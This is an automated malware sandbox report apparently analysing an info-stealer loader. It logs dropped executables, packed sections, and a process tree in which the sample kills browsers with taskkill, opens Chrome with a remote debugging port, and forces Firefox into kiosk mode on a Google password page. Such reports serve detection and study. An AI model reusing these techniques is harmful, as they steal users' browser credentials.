Source: file.exe, 00000000.00000003.1866455250.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854661376.0000000005A8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856813647.0000000005AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861706969.00000000059EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853864303.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868291910.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859857026.0000000005AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849989370.0000000005B1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857471104.00000000059E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1848005395.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867488522.0000000005B22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867244427.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854291705.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861458331.0000000005B04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858886643.00000000059E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870701553.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858108634.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857641321.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849273024.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854547147.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855512049.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867610746.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863258765.0000000005B05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854429665.0000000005A91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868155365.0000000005B3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858298362.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858015416.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862278289.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865590676.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858488728.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855813493.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857077477.0000000005AC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856988629.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856384393.0000000005B6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860207063.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855616851.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859088185.00000000059E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858204259.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859746413.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865473136.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855405580.0000000005A96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862930623.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853998389.00000000059EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866944234.0000000005C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867110867.00000000059E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867864560.0000000005C76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857825487.0000000005BB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862590661.0000000005B07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861263511.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856055687.00000000059E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858787608.0000000005AEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858394091.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860974615.0000000005AF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854801848.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858988079.0000000005AF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855317650.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849085192.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849446927.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857548785.0000000005ACE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857272102.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857165435.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870060108.0000000005687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864420554.0000000005B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865234904.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856220336.00000000059E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856302572.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860615313.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859190414.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852456936.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857923220.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856641495.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870905899.00000000059E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856725694.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865100685.0000000005C3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861115272.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1848146882.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856553995.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856900052.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859636094.0000000005AFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861931672.0000000005B0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866760837.0000000005B17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854935303.00000000059E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858585655.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9979978938087775
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983076464577657
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: Section: goqfmtnt ZLIB complexity 0.9946154210925645
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9983076464577657
Source: skotes.exe.3.dr	Static PE information: Section: goqfmtnt ZLIB complexity 0.9946154210925645
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9979978938087775
Source: 0bdaf26796.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9979978938087775
Source: random[1].exe0.8.dr	Static PE information: Section: aslwbrhj ZLIB complexity 0.9949668784288327
Source: 96b4cd4489.exe.8.dr	Static PE information: Section: aslwbrhj ZLIB complexity 0.9949668784288327
Source: ef2e7274a0.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9979978938087775
Source: 01b01f6224.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9979978938087775
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9983076464577657
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: Section: goqfmtnt ZLIB complexity 0.9946154210925645
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: Section: ZLIB complexity 0.9983076464577657
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: Section: goqfmtnt ZLIB complexity 0.9946154210925645
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: Section: ZLIB complexity 0.9983076464577657
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: Section: goqfmtnt ZLIB complexity 0.9946154210925645

Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe, 00000002.00000002.2024398204.0000000000516000.00000040.00000001.01000000.00000006.sdmp

Binary or memory string: .vBP ^

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@75/31@66/8

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7520
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5624:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5448:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1704699595.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2440177088.0000000005544000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005ACD000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2618467415.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684143823.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2685756857.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2709245134.0000000005298000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.000000000527A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: NN5L9AGTEIQO79C9NX.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: !RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeh

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe "C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe "C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe"
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe "C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe "C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe "C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe"
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe "C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003023001\num.exe "C:\Users\user\AppData\Local\Temp\1003023001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2208 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {364d90de-5b25-42d0-9ada-d70c8cceaae4} 4320 "\\.\pipe\gecko-crash-server-pipe.4320" 214d9b6b510 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe "C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe "C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4016 -parentBuildID 20230927232528 -prefsHandle 4040 -prefMapHandle 4068 -prefsLen 26309 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b4678ca-e3d7-45c2-a7fb-fc7902151ff7} 4320 "\\.\pipe\gecko-crash-server-pipe.4320" 214ebd4e510 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe "C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe"
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7520 -s 1592
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe "C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe"
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process created: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe "C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe"
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
